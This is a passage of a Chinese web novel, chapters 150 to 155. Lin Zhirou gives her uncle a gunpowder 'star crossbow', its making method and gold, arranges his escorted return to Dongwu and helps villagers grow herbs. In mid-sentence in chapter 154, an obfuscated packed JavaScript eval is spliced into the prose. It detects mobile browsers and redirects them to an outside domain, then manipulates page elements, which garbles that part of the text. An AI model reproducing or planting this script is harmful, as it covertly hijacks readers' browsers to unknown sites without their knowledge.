楚色更深,林芷柔站在屋顶上,看着远处的灯火。楚星河从后面搂住她的腰,下巴抵在她的肩膀上。 “在想什么?”他轻声问道。 “在想...”林芷柔靠在他怀里,“接下来该怎么办。” “有我在。”楚星河收紧了手臂,“不用担心。” 林芷柔笑了笑,没有说话。她知道,接下来的路还很长,但只要有这个男人在身边,她就什么都不怕。 林芷柔将星弩轻轻摆在柳芝黄面前,动作优雅而从容。月光在星弩乌黑的枪身上映出一道银白的光晕。 她的神色平静,仿佛这不过是件寻常之物,但眼底却满是难以察觉的期待。 柳芝黄却看得呆了。他的目光死死盯着那铁疙瘩,手指微微颤抖,似乎想要触碰又不敢轻举妄动。屋内一时陷入寂静,只听得见他略显急促的呼吸声。 “这就是你说的"星弩"?”柳芝黄喃喃自语,声音里带着难以置信,“比飞火连珠弓更厉害的武器?” 林芷柔微微颔首,纤细的手指轻轻抚过星弩冰冷的表面。她能感受到舅舅内心的震撼,也明白这份震撼背后所代表的意义。 “舅舅,您会轻功吗?”她突然问道,声音轻快,打破了室内凝重的气氛。 柳芝黄愣了一下,显然没料到外甥女会突然问这个。他的目光这才从星弩上移开,有些茫然地看向林芷柔:“啊?你说什么?” “我问您会不会轻功。”林芷柔嘴角含笑,又重复了一遍。 “会是会。”柳芝黄下意识回答,随即皱眉,“不过已经很久没练了。” “那也够了。”林芷柔站起身,裙摆在月光下泛起柔和的光,“带上它,我们出城试试威力。” 第一百五十章 舅舅的幸运星 柳芝黄顿时兴奋起来,小心翼翼地抱起星弩。他的动作极其谨慎,生怕磕着碰着。临走前,他不由自主地看了眼楼下的大姐和姐夫,心中感慨他们对柔柔的了解。这丫头,果然给了他天大的惊喜。 楚星河抱着林芷柔轻盈地掠上天井,动作行云流水,毫不费力。柳芝黄紧随其后,却明显力不从心,呼吸渐渐变得粗重。 “舅舅,您没事吧?”林芷柔回头看他,眼中满是关切。 柳芝黄摆摆手,强撑着继续前进。他不愿在外甥女面前示弱,但多年不练的轻功确实有些生疏。 林芷柔从怀中取出一个精致的水罐,递给楚星河。罐口插着根细长的吸管,做工精巧。楚星河低头饮了一口,唇角不自觉地扬起。每次带着柔柔飞行,都能喝到她精心准备的水,这种被人细心照顾的感觉让他心中甜蜜。 他们很快到达目的地,那是城外一片僻静的树林。柳芝黄却还在后面。等他气喘吁吁地赶到时,已是满头大汗。 “舅舅,喝水。”林芷柔将水罐递过去,语气中带着几分心疼。 柳芝黄本想拒绝,却架不住外甥女的坚持。他勉强喝了一口,顿时感觉一股暖流从喉咙蔓延到全身,疲惫感竟然一扫而空。 “这是什么水?”他惊讶地接过水罐,贪婪地又喝了几口。水是温的,带着淡淡的甜味,喝下去浑身舒畅。 林芷柔没有回答,只是静静地看着他。月光下,她的眼神温柔而坚定,仿佛在说:这只是开始。 “柔柔,你简直是舅舅的幸运星呢!”柳芝黄感慨道,目光中满是慈爱。 “舅舅,我只想帮您夺回属于自己的东西,让我娘能风风光光地回东吴。”林芷柔轻声说,声音里带着几分坚定。 楚星河在一旁仔细调试星弩,动作娴熟。他一边调试一边说道:“这武器威力惊人,若是东吴能掌握...” “舅舅。”林芷柔突然打断了他的话,声音虽轻,却带着不容忽视的力量,“我有个请求。” 她停顿了一下,目光直视柳芝黄:“希望您不要被它的力量迷惑。守护东吴便好,不要想着称霸天下。” 柳芝黄愣了愣。确实,若有这等利器,扩张领土并非难事。但如今的东吴,早已千疮百孔,最需要的是休养生息。 “还有,若天玄有难,希望您能将制造之法相授。”林芷柔继续说道,语气诚恳。 “好。”柳芝黄毫不犹豫地答应,“不过只能是你或云陵伯世子来谈。” “多谢舅舅。”林芷柔展颜一笑,如同月下盛开的花朵。 楚星河开始教授柳芝黄使用星弩。他耐心地讲解每个部件的作用,手把手地教他如何装填火药、如何瞄准。 第一声炮响震得柳芝黄心惊肉跳,但很快,他就爱不释手了。星弩在他手中仿佛有了生命,每一次击发都让他热血沸腾。 看着远处被打断的树枝,柳芝黄喜不自胜。这等神器,定能助东吴重现昔日荣光。他的眼中闪烁着兴奋的光芒,手中的动作也越发熟练。 “柔柔当真是天上的仙女。”楚星河望着远处的林芷柔,眼中满是柔情。月光下,少女的身影显得格外清丽脱俗。 柳芝黄深以为然:“是啊,她就是来救东吴的仙女。”说这话时,他的眼眶有些湿润。多年来的压抑和无奈,在这一刻似乎都得到了释放。 柳芝黄抹了一把脸,转向楚星河问道:“文昂说,飞火连珠弓也是柔柔研制的?” “是的。”楚星河站在一棵古树下,目光平静地看着眼前的人,语气坦然,“柔柔拿出了飞火连珠弓,帮我们击退了黑鹰帮的进攻。” 柳芝黄眉头微皱,他抬头望了望天空中的弦月,沉声道:“外面都在传,说是云陵伯府研制的新式武器。” 风吹动树梢,发出哗哗的响声。楚星河沉默片刻,转头望向远处那道纤细的身影。月光下,林芷柔正独自站在一块巨石旁,长发被风轻轻拂动。 “柔柔不愿出风头。”楚星河的声音里带着几分心疼,“她懂医术就已经够引人注目了,若再多几样本事,只怕日子更不好过。” 柳芝黄站在原地,目光复杂地看着自己的外甥女。月色下,那单薄的身影显得格外孤单。他的手指不自觉地握紧了剑柄,指节泛白。 “她总说,树木在林中显眼,必然遭受风的摧残。”楚星河轻声道,目光中带着心疼,“对她而言,家人平安,生活安稳,就已经足够了。” 林芷柔独自走到一旁,意识悄然沉入锦囊。眼前的景象瞬间变换,山林间,青羽正带着一家子在那闹腾。 “这是什么奇怪的地方!”青羽气急败坏地扑腾着翅膀,一双鹰眼瞪得溜圆,“为什么飞不起来!这里的规矩也太多了!” 它不停地往上蹦跳,却每次都被一道无形的屏障弹回来,气得直跺脚。羽毛都炸开了,活像一个毛茸茸的球。 灵灵小心翼翼地走着,身后五只小鹰隼亦步亦趋地跟着。它们时不时东张西望,对这个陌生的环境充满好奇。 “别闹了,咱们去喝点水吧。”灵灵轻声劝道,声音温柔,“你看,孩子们都渴了。” “喝个屁!”青羽暴躁地蹦跶着,羽毛都竖了起来,“这鬼地方处处是规矩,烦死了!连飞都不让飞,这不是折磨人吗!” 灵灵刚要往前走,突然被一道无形的屏障弹了回来,整个身子飞出老远,在地上滚了好几圈。 “灵灵!”青羽慌忙跑过去,一边跑一边大喊,“你没事吧!” 五只小鹰隼见状也跟着往前冲,结果全被弹飞,一个个像炮弹一样砸在青羽身上。青羽被砸得东倒西歪,最后直接趴在地上,五只小鹰隼叠在它身上,场面滑稽至极。 林芷柔看得忍俊不禁,嘴角不自觉地扬起。萤萤这招对付青羽还真有一套,这下它应该能老实一阵子了。 回到现实,舅舅和楚星河已经聊完了。她从锦囊里取出一个玉瓶,倒出一杯仙露泉递给柳芝黄。这次柳芝黄没有推辞,一饮而尽。 月光如水,静静地洒在三人身上。这一刻,他们都看到了希望的曙光。东吴的未来,或许真的会因为这个看似柔弱的少女而改变。 远处的树林沙沙作响。林芷柔站在月光下,长发随风飘扬。她的目光望向远方,仿佛能看到东吴繁荣昌盛的那一天。 第一百五十一章 还有东西送 柳芝黄又试了几枪,每一次射击都让他更加熟练。他的动作逐渐变得流畅,眼神也越发坚定。这种前所未有的力量感,让他感到无比振奋。 “舅舅,时候不早了,我们该回去了。”林芷柔提醒道。 柳芝黄依依不舍地放下星弩,小心地将它包好。这件宝物,他一定要好好珍惜。 回程的路上,柳芝黄的轻功明显比来时流畅多了。那玄元之水似乎不仅恢复了他的体力,还唤醒了他尘封已久的武艺。 林芷柔看着舅舅兴奋的样子,心中既欣慰又有些担忧。她希望这份力量能让东吴重获新生,而不是带来更多的纷争。 三人一前一后往城中赶去。街道两旁的房屋静悄悄的,只有偶尔传来几声犬吠。路过仁心医馆时,林芷柔叫住了要进去的舅舅。 “舅舅,我有东西要给你看。”她的声音里带着几分神秘。 “哦?是什么?”柳芝黄停下脚步,转身看向外甥女。 “跟我来就知道了。”林芷柔神秘一笑。 街上空无一人,只有昏黄的灯笼在风中轻轻摇晃。偶有野狗经过,见到林芷柔便乖乖退去,尾巴都夹得紧紧的。这一幕看得柳芝黄啧啧称奇。 “柔柔,你是怎么做到的?”柳芝黄好奇地问道,“连野狗都这么听你的话。” “给它们一些吃的,以平等的心对待它们罢了。”林芷柔轻声回答,语气温柔,“它们也是生命,也有感情。” 楚星河默默牵着林芷柔的手,宽大的袖子遮住了身后人的视线。他的嘴角微微上扬,眼中带着几分宠溺。 月光透过窗棂,在地上投下斑驳的影子。屋内摆满了大大小小的箱子,整整齐齐地排列着。 林芷柔望着眼前的舅舅,心中反复思量。 若是舅舅能夺回东吴国的皇位,她便是名正言顺的郡主。可这些身外之物,她并不在意。她只想让母亲能风风光光地回家。 想到母亲,林芷柔的眼眶微微发热。她深吸一口气,将那些纷乱的思绪压下。 “舅舅,这些星弩的制造工艺,我已经写在这里了。”她将一叠纸递了过去,纸张在烛光下泛着淡淡的黄色。 柳芝黄接过纸张,手指微微颤抖。他仔细翻看着每一页,眼中的惊讶越来越浓:“柔柔,你这是要将星弩的制造之法全部交给东吴?” “自然。”林芷柔浅浅一笑,眼角弯起一个温柔的弧度,“舅舅若是用得上,便拿去用。” 楚星河站在一旁,看着林芷柔的侧脸,心中涌起一股暖意。烛光映照在她白皙的脸庞上,勾勒出一道柔和的轮廓。这个看似清冷的小姑娘,总是将所有的温暖给了别人。 “柔柔,这太贵重了。”柳芝黄声音有些哽咽,他的手指无意识地摩挲着纸张的边缘。 “舅舅说笑了。”林芷柔摇摇头,长发轻轻晃动,“这些不过是外物,比起舅舅的大业,算不得什么。” 接着,她示意舅舅打开面前的箱子。 柳芝黄打开一个,里面竟是满满的金元宝,在烛光下闪烁着诱人的光芒。 他震惊地看向外甥女:“这些......” “都是给舅舅的。”林芷柔打开另一个装满银锭的箱子,银光闪闪。 柳芝黄连连摆手,脸上露出为难之色:“星弩已是天大的恩惠,这银两我如何能收?” “舅舅。”林芷柔正色道,声音里带着一丝不容拒绝的坚定,“兵马未动,粮草先行。这些银两,带回东吴国重铸成银锭吧。我给你武器,给你银两,就是希望你能尽快夺回属于自己的东西。也好让娘亲能回家看看,她吃了太多苦了。” 楚星河适时上前一步:“舅舅,有备无患。这些银两在手,办事也能多几分底气。” 柳芝黄看着眼前的两个年轻人,眼眶微红。他转过身,悄悄擦了擦眼角,肩膀微微颤抖。 屋内一时陷入沉默,只有烛火偶尔发出轻微的噼啪声。 “好,那舅舅就厚着脸皮收下了。”他转回身,挤出一丝笑容,眼角还带着未干的泪痕。 林芷柔点点头,开始示范星弩的拆解之法。她的手指灵活地在星弩上游走,每一个动作都干净利落,每一步都精准无比。 “这个机簧最为关键,”她一边演示一边解释,“若是安装不当,便会走火。舅舅要格外注意。” 楚星河在一旁看得入神,暗暗记下每个细节。他注意到林芷柔说话时眉头微蹙,显然是在努力回忆每一个细节。 “这里的螺丝要拧紧,但不能太过用力。”林芷柔继续道,“否则容易卡住。” 柳芝黄认真地点头,不时发出赞叹声:“没想到这星弩竟如此精妙。” “舅舅,您来试试。”林芷柔将零件摆在桌上,整齐有序。 柳芝黄依样画葫芦,很快就掌握了要领。他的动作虽然没有林芷柔那般流畅,但也算得上熟练。 “柔柔,明日我就要启程回东吴了。”柳芝黄一边组装一边说道,声音里带着几分不舍。 林芷柔眸光微动,手指无意识地绞着衣袖:“舅舅,路上要多加小心。我已经安排好了,明日带您去见西陵商社的管事。” “西陵商社?”柳芝黄一愣,手上的动作停了下来。 “是的。”林芷柔轻声道,“我曾救过西陵九公主秦雨柔母子,这个人情,现在正好用上。西陵商社的商队常年往来西陵和东吴,舅舅跟着他们,既安全又不引人注目。” 楚星河在一旁赞叹:“柔柔总是想得周到。”他的目光落在林芷柔身上,眼中满是柔情。 柳芝黄听罢,心中更是感动。他的外甥女,不仅给了他星弩和银两,还为他安排好了归途。这份心意,比任何金银珠宝都要贵重。 “柔柔。”柳芝黄郑重其事地对林芷柔行了一礼,“等舅舅回了东吴,定要封你为安国公主。” 林芷柔连忙扶住舅舅,:“舅舅言重了,这些都是应该的。” 楚色渐深,林芷柔让人取来旧衣物,将星弩零件一一包好。她的动作很慢,很仔细,生怕遗漏了任何细节。 她细心地在每个包裹上做了记号,又将它们分散在珠宝箱中。每一个包裹都用不同的布料包裹,看起来就像是普通的首饰。 “这些记号,”她指着包裹上的暗记,“是按照组装顺序标注的。舅舅只要按照这个顺序打开,就不会弄混。” 第一百五十二章 能不能缓缓 柳芝黄看在眼里,心中感慨万千。这个外甥女,年纪不大,却心思如此缜密。若是个男儿身,必定能成就一番大事业。 可她偏偏甘于在这小小的云云州,开着一间不起眼的医馆。想到这里,柳芝黄心中既欣慰又愧疚。 “舅舅,这些事我做了,一半是为了您,一半是为了我娘亲。”林芷柔坐在庭院的石凳上,月光洒在她清秀的面容上,眼神坚定而沉静。 夜风轻拂,带着几分凉意。楚星河默默地取下自己的外衫,轻轻披在林芷柔肩上。他在她身旁坐下,目光温柔地注视着她的侧脸。 “我娘从天上跌落凡尘,能安于现状已属不易。这些年的苦楚,旁人又怎会懂?”林芷柔的声音微微颤抖,指尖无意识地摩挲着衣袖。那些往事如潮水般涌来,让她一时有些恍惚。 柳芝黄站在月光下,身影略显单薄。他叹了口气,眼中闪过愧疚:“是啊,你娘真不简单。当年宫变,我和你娘被分散,一别竟是几十年。那时候......”他的声音渐渐低沉,仿佛陷入了某些不愿回想的记忆。 院中的梧桐树沙沙作响,树影婆娑,在地上投下斑驳的光影。一只夜莺在枝头轻啼,打破了短暂的沉默。 “舅舅,”林芷柔轻声开口,不愿他继续沉浸在往事的痛苦中,“若东吴落入您手,农业生产一定要放在首位。制糖技术也好,其他技艺也罢,都可以无偿传授给百姓。” 柳芝黄非常欣慰,踱步到林芷柔面前:“好孩子,你这心思比我周全。等局势稳定,舅舅就派人来接你们。到时候,你这位安国公主可得多想些富民之策。” “舅舅,我明年正月就要出嫁了。”林芷柔浅浅一笑,眸中闪烁着幸福的光芒,“您的祝福可得提前给我。” “这么快?”柳芝黄一惊,目光在两人之间游移,眉头微皱,“能不能缓缓?等舅舅册封你为安国公主再说?” 楚星河握紧了林芷柔的手,心中暗道:好不容易定下的婚期,怎能再拖?他能感受到掌心传来的温度,那是他此生最珍视的牵绊。 “不用了,舅舅。”林芷柔摇头,语气坚定而温柔,“我嫁他,是因为喜欢这个人,不在乎什么身份地位。”她转头看向楚星河,眼中满是柔情。 柳芝黄目光如炬地盯着楚星河:“你若敢负我外甥女,我必从东吴杀回来取你性命!”他的声音中带着威胁,却也藏着几分关切。 “舅舅放心,”林芷柔轻笑,眼中闪过一丝狡黠,“他若负我,不等您来,我就先灭了他。” 楚星河搂住林芷柔的肩,语气温柔而坚定:“若负了柔柔,季远也不配活着。” 院中的花香随风飘散,远处传来几声犬吠。柳芝黄看着两人亲昵的模样,神色渐渐缓和:“楚星河,能娶到柔柔,是你三生修来的福分。” “我知道。”楚星河望着心爱之人,眼中满是柔情。月光下,林芷柔的侧脸如同一幅精致的画卷,让他心中涌起无限怜惜。 “可惜我来得匆忙,连份像样的嫁妆都没准备。”柳芝黄叹息道,语气中带着几分遗憾。他踱步到院中的梧桐树下,抬头望着枝叶间零星的月光。 “舅舅,人生路长,来日方长。”林芷柔站起身,走到舅舅身边,轻声安慰道,“明日我陪您去西陵商社。” 三人商定后,吹灭蜡烛离开小院。月光下,他们的身影渐渐消失在曲折的巷道中。 回到仁心医馆,柳雅芝和林山还在等候。烛光摇曳,映照着他们期待的面容。 楚星河又带着林芷柔去了屋顶,像往常一样相拥赏月。 “姐,怎么还不睡?”柳芝黄看到姐姐,心中一暖。烛光下,柳雅芝的面容依旧温婉,只是眼角多了几分岁月的痕迹。 “等你呢。”柳雅芝眼中放光,语气中带着几分期待,“柔柔找你什么事?可是给了你什么好东西?” “是啊。”柳芝黄点头,有些不舍地道,“不过我明日就得回东吴了。” “这么快?”柳雅芝眼眶微红,声音有些哽咽。烛光下,她的泪光闪烁,映照出几分凄楚。 林山忙道:“等他处理完事务,咱们再去东吴住些日子。”他轻轻拍着妻子的后背,语气温柔而坚定。 “姐夫说得对。”柳芝黄道,“柔柔给的东西太重要,我得尽快带回去。”他看着姐姐,心中涌起一阵愧疚。这些年,他们错过了太多相聚的时光。 “什么时候动身?”柳雅芝强忍泪意,努力让自己的声音保持平稳。 “还没定,柔柔说让西陵商社的人护送。”柳芝黄的目光落在窗外的月光上,思绪有些飘远。 “这样最稳妥。”林山点头,语气沉稳,“有西陵人护送,路上安全。”烛光映照着他坚毅的面容,显得格外可靠。 柳雅芝擦了擦眼角,泪水沾湿了手帕:“等你回去后,记得派人来接我们。我想去祭拜父皇母后。”她的声音微微颤抖。 林山递上手帕,轻声安慰:“别哭了,这是好事。”他的语气温柔,带着几分心疼。 柳芝黄看着这一幕,微笑道:“姐,你这辈子遇到姐夫,也是福分。”烛光下,他看到姐姐脸上幸福的笑容,心中也涌起一阵温暖。 屋顶上,林芷柔靠在楚星河怀中,望着天边的明月。月光如水,洒在他们身上,仿佛为这一刻镀上了一层温柔的光晕。 楚星河看着林芷柔:“累了吧?” 林芷柔摇摇头,:“希望舅舅此去,能够马到功成。”她的声音很轻,却带着一丝说不出的坚定。 楚星河轻轻握住她的手。他能感觉到她的手有些凉,便将她的手包在掌心,试图传递一些温暖。 “放心吧,”他低声说道,“有西陵商社相助,舅舅一定能平安回到东吴。” 林芷柔靠在他肩上,轻轻“嗯”了一声。夜风吹来,带着木槿花的香气,也带走了她心中的一些忧虑。 第一百五十三章 西陵商社 林芷柔带着舅舅柳芝黄踏入西陵商社时,浓郁的沉香扑面而来。商行内部装潢考究,朱红色的柱子擦得锃亮,地面铺着细腻的青石板,处处彰显着富贵气象。 伙计们看到她的身影,纷纷放下手中的活计,热情地迎了上来。 “林大夫来了!” “林大夫好!” “快请进!” 此起彼伏的问候声让林芷柔有些不自在。她习惯了医馆里的宁静,这样热闹的场面反倒让她不知所措。她不动声色,目光在商行内部扫视。 身旁的柳芝黄看着这阵仗,不由得挑了挑眉。他没想到自己这个外甥女在西陵商社竟有这般地位。 “掌柜的可在?”林芷柔走到柜台前,声音轻柔却不失沉稳。 一个身着青衫的伙计连忙躬身,脸上堆满笑容:“在的在的,林大夫稍等,小的这就去通报。”说完,他快步朝后堂跑去,脚步轻快得像只欢快的燕子。 林芷柔站在柜台前,目光不经意间扫过货架上琳琅满目的商品。各色绸缎、瓷器、香料一应俱全,甚至还有些稀罕物件,想必都是从遥远的西域运来的。 不多时,一阵沉稳的脚步声从楼上传来。一位身着藏青色长衫的中年男子缓步而下,他面容和善,眼中却透着精明。 “林大夫大驾光临,有失远迎啊!”掌柜的做了个请进的手势,“楼上请,已经备好了上好的龙井。” 二楼的雅间布置得极为考究,窗外是一株老梧桐,枝叶婆娑,在阳光下投下斑驳的影子。茶香袅袅升起,与空气中的沉香交织在一起,让人心旷神怡。 “舅舅要回东吴,路途遥远,家母不太放心,想跟着贵行的商队走一趟。”林芷柔开门见山地说道。 掌柜的脸上堆满笑意,眼角的皱纹都舒展开来,连连点头:“没问题没问题,路途遥远,能见一面实属不易。这南北相隔千里,能有亲人相聚,着实难得。” 林芷柔起身施礼,:“如此,太感谢了。” 掌柜连连摆手:“使不得使不得。”他的目光在柳芝黄身上转了一圈,笑容更深了:“林医生所讲的即是东家所述,这事包在我们身上。“ 林芷柔接着问道:“掌柜的,我舅舅今日可以启程吗?路上可有商队同行?” “今日正好!”掌柜的眼睛一亮,他快步走到门边,指着外面熙熙攘攘的街道,“瞧见那支商队没有?那可是咱们西陵商社最大的商队,午饭过后就要启程回西陵,时机正好不过。” 柳芝黄听到这话,心中震动不已。他原本以为要费些周折,没想到事情竟这般顺利。 他眉头微动,目光落在街道上那支规模颇大的商队上。马车辚辚,脚夫们正在搬运货物,吆喝声此起彼伏。 掌柜的收回目光,转向柳芝黄:“您先回去收拾行装,到时在这里集合,与商队一同上路。商队人多势众,路上也好有个照应。” 林芷柔从袖中取出一袋银子,动作优雅地放在桌上:“这是路费。” “使不得使不得!”掌柜的连连摆手,神情甚是认真,“九公主早有交代,林大夫的事,分文不取。这要是收了银子,小的怕是要吃挂落。” “九公主?”林芷柔眼底含笑,语气温柔,那是只有提到故人时才会有的神情。 掌柜的捧起茶盏抿了一口,笑道:“是啊,公主时常提起您。说您不仅教会她做生意,还教会她做人。每每说起这事,公主都感激不尽。” 林芷柔轻轻摇晃着茶杯,轻声问道:“她现在怎么样?” “很好很好!”掌柜的说起这事来兴致勃勃,“和那个楚云川和离了,带着孩子过得逍遥自在。您是不知道,公主现在可是咱们西陵有名的女商人,经营得风生水起。” 说到这里,掌柜的脸上露出幸灾乐祸的表情:“那楚云川现在可惨了,不仅生意做不下去,连他心心念念的酆婷婷都跑了。听说是跟着个江湖郎中私奔了,可把他气得不轻。” “活该。”林芷柔轻笑一声,眼中却是泛起冷意。 “可不是嘛!”掌柜的连连点头,“公主常说,是您教会她把渣男踩在脚下。这话说得太对了!现在的姑娘们就该这样,别总想着依附男人。” 柳芝黄在一旁听得暗暗点头。他这个外甥女性子刚烈,说话做事都带着一股子霸气。现在看来,这性子倒是帮了不少人。 “公主很想您。”掌柜的放下茶盏,正色道,“常说等忙完这阵子,一定要来看您。” 林芷柔点点头:“替我向她问好。” 见事已谈完,林芷柔起身告辞:“多谢掌柜。”林芷柔施了一礼,目光落在掌柜略显蹒跚的步态上,忽然想起什么,“掌柜的膝盖怕是常年疼痛吧?我看您走路时总是右腿略重。待会我送几副膏药来,贴上会舒服些。别忘了明年三伏天来找我针灸哦,定能除根。” “哦?”掌柜的眼中闪过惊喜,他下意识揉了揉膝盖,“为何要选在三伏天?老朽这腿疼已经十多年了,看过不少大夫,都说难治。” “冬病夏治之理,掌柜的懂的。”林芷柔微微一笑,眼中闪过专业的光芒,“三伏天阳气最盛,正是治疗寒症的最佳时机。” “妙啊妙啊!”掌柜的连连点头,眼中放光,“明年三伏天,我一定登门求医。小大夫年纪轻轻,医术却如此精湛,实在令人佩服。” 离开西陵商社,“外甥女,你在西陵很有人脉啊。”柳芝黄忍不住感叹,“连九公主都对你另眼相看。” 林芷柔走想起当年在逃荒路上遇到秦雨柔的情景。那时的公主还是个傻白甜,对谁都掏心掏肺,差点被人骗得倾家荡产。是她拦住了那些居心叵测的商人,教会了秦雨柔经商之道。 “那时候她总是一脸崇拜地看着我。”林芷柔嘴角微微上扬,“说什么要做我这样的女子。” 如今听说她活得潇洒,林芷柔由衷为她高兴。每个女子都该有自己的追求,而不是把希望寄托在他人身上。 第一百五十四章 送别 林芷柔拉着舅舅快步向前走,:“舅舅,楚星河已经安排好了镖局,有双重保护才更安全。这一路上山高水远的,总要多加小心。” 柳芝黄默默跟上,看着外甥女忙前忙后的身影,心中一暖。街边小贩的叫卖声此起彼伏,茶肆酒楼中传来阵阵喧哗,一派繁华景象。 镖局门前,楚星河正与一位白发老者攀谈。那老者虽年过花甲,但精神矍铄,腰板挺直,一看就是习武之人。见二人来到,楚星河忙招手示意。 “这位是华贸镖局的孙掌柜。”楚星河介绍道,目光在二人之间转了转,“定金已付一半,到东吴再付另一半。孙掌柜在江湖上名声极好,这次能请到他亲自押镖,实在是幸事。” 孙掌柜捋着花白的胡须,目光如炬地打量着柳芝黄,眼中闪过异色:“这位先生气宇轩昂,举手投足间尽显儒雅之气,想必是个富贵之人。” “孙掌柜好眼力。”林芷柔笑道,眼角眉梢都带着几分得意,“我舅舅在东吴确实颇有家资,这次带的东西不少,要劳烦镖局的兄弟们了。” “应该的应该的。”孙掌柜捋着胡须道,“保镖护院是我等本分,定当尽心尽力。” 林芷柔看了看天色,向楚星河说道:“我得回医馆了,还有几个病人要看。”又转向柳芝黄,“舅舅,你和楚星河去装车吧。”走出几步又回头叮嘱,“舅舅,装完车记得回家,我为您准备了路上饮用的水。” 柳芝黄眼睛一亮,脸上露出期待之色:“好,舅舅肯定会回家的。” 想起那玄元之水,柳芝黄心中激动。那水不仅能消除疲劳,还能治愈旧伤,提升内力。自从品尝了外甥女送来的水,多年的旧伤之痛一扫而空,运功时更是力道充沛,这种神奇的效果令他惊叹不已。 到了宅子,镖局的人已经开始搬运箱子。马车上的货物一箱接一箱地往下卸,装车的声音此起彼伏。 “舅舅。”楚星河趁着无人注意,压低声音道,“我在镖局人手中安插了四个暗卫,遇事自会保护您。孔福生是我的人,当初得知柔柔身世后,我就让他去寻找您的下落。” 柳芝黄扫视着忙碌的人群,却看不出哪些是暗卫。这些人看起来都是普通的镖局伙计,举手投足间却又透着几分不同寻常。 “这是柔柔的意思?”柳芝黄轻声问道。 “不是,是我自作主张。”楚星河摇头,语气中带着几分歉意,“柔柔并不知情。我怕她担心,所以没有告诉她。” “有心了。”柳芝黄由衷道,“多谢你为柔柔做的这些。”看着眼前这个年轻人,他心中感慨万千。能有这样一个人护着柔柔,也是她的福气。 “舅舅客气了。”楚星河提醒道,目光中带着几分郑重,“柔柔给的水很特别,还请舅舅留着自己用。那水珍贵异常,万不可示人。” “我明白。”柳芝黄点头,“你也喝过吧?内力也涨了不少?” “确实。那水是柔柔费尽心思研制的,效果确实神奇。”楚星河说着,心里却也不无担忧,“只是她为了研制这水,没少耗费心力。” 柳芝黄感慨:“柔柔太厉害了。”说着,目光不自觉地望向医馆的方向。 林芷柔回到医馆时,林巧巧正在煎药。药炉上腾起袅袅白烟,空气中飘荡着浓郁的药香。 “姐,你回来啦!”林巧巧抬头笑道,脸上沾着些许灰尘,显得格外可爱。 林芷柔点点头,目光柔和地看着妹妹。她想起秦雨柔的事,心中感慨万千。 那个曾经天真烂漫的公主,如今也学会了保护自己,这是好事。每个女子都该学会独立,而不是一味地付出。就像她教导巧巧的那样,要做自己的主人。 柳芝黄回到医馆,柳雅芝已备好饭菜,林文昂带来的卤味也用荷叶包好。柳雅芝烙的饼,林芷柔准备的一大瓮水和酒,都是满满的心意。 看着这些,柳芝黄心中酸涩,却一言不发地收下了。这是亲人的牵挂,他不能辜负。屋内飘着饭菜的香气,混合着药材的味道,让人感到一种说不出的温暖。 林芷柔正在配药,手中的药材散发出淡淡的清香。她抬头看了看天色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15742664|171447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,又看了看门外熙熙攘攘的街道,心中不禁有些担忧。这一路上山高水远,不知道舅舅能否平安到达。 楚星河似乎看出了她的心思,轻声道:“放心吧,有镖局和暗卫护送,舅舅一定能平安到达。” 林芷柔点点头,继续专注地配着药。药材在她手中仿佛有了生命,散发出独特的香气。这是她的本事,也是她的倚仗。 林芷柔一家将舅舅送到城门外,目送着他的身影渐渐消失在薄雾笼罩的远方。她裹紧了身上的斗篷,眼眶微微发热。 “舅舅一路小心。”她在心中默默祈祷,远处传来一阵马蹄声,驿站的马车缓缓驶过,车轮碾过地面发出吱呀声响。 回到医馆后,林芷柔仿佛卸下了一块大石。她轻轻推开医馆的木门,熟悉的药香扑面而来。“姐姐,这些药材都整理好了。”巧巧抱着一摞药材清单小跑过来,脸蛋红扑扑的。 林芷柔接过单子,揉了揉妹妹的头发:“辛苦了。今天先把这批紫苏叶处理完吧。” 医馆里很快忙碌起来。林芷柔一边配药,一边指导巧巧如何分辨各种药材的品质。阳光渐渐变得明媚,门外传来了村民们的说话声。 “林大夫,我带了些新鲜的紫苏叶来。”孙大叔推开门,身后跟着几个村民,每人都抱着一大捆刚采摘的药材。 林芷柔放下手中的药包,仔细检查起药材的品相。“品质不错,根茎饱满,都是好货。”她满意地点点头。 孙大叔搓着手,脸上露出憨厚的笑容:“这可是我们精心培育的,就盼着能换些银子贴补家用。” 称重、付银子的过程中,医馆外又来了不少村民。有人带着药材,有人是来看病的,还有人纯粹是来打听消息的。 “听说周家村靠种紫苏叶发了财?”一个瘦高个子的汉子探头探脑地问道。 “可不是嘛!”旁边有人接话,“我听说光上个月就赚了二十多两银子呢!” 议论声此起彼伏,林芷柔一边给病人把脉,一边留意着外面的动静。她知道,改变正在悄然发生。 第一百五十五章 出嫁了 “林大夫,我们村也想种些药材。”一位面容黝黑的村民搓着手走上前,“不知道该种什么好?” 林芷柔放下病人的手腕,温和地说:“每个村子最好专注种植一种药材,这样便于管理,也能掌握药材的生长习性。” 她站起身,从柜台后取出一本厚厚的册子:“三七、玄参、茯苓、当归,这些都是常用药材,你们可以选一样来种。药材的种子我可以帮忙准备。” 这番话很快在乡间传开。第二天一大早,柳家镇的柳明远就带着几个年轻后生赶来了。 “小风啊,”柳明远一进门就急切地问道,“我们柳家镇地处山区,地势高,不知该种什么好?” 林芷柔眼睛一亮:“柳家镇的山地最适合种香料树!八角、桂皮、香叶、花椒,这些都很适合。山地排水好,土质适中,最适合这些香料生长。” 她从柜台下取出一个小布包,倒出几颗干燥的种子:“这是上等的八角种子,你们先试种一片地,看看效果如何。” 柳明远小心翼翼地接过种子,眼中闪烁着兴奋的光芒:“那就先种八角试试!” “对了,”林芷柔又补充道,“要不要考虑种些甘蔗?文昂的庄子正需要这个。” 村卫团领一拍大腿:“这主意好!山地种八角,山脚下种甘蔗,两不耽误!” 两人正说得热闹,医馆外突然传来一阵马蹄声。一辆华贵的马车停在门口,车帘轻轻掀起,露出一张熟悉的面容。 柳川馨坐在车辕上,看到柳明远时立刻跳了下来。她的衣着华丽了许多,但面容却比从前憔悴。 “爷爷!”她含着泪喊道,声音里带着几分哀求。 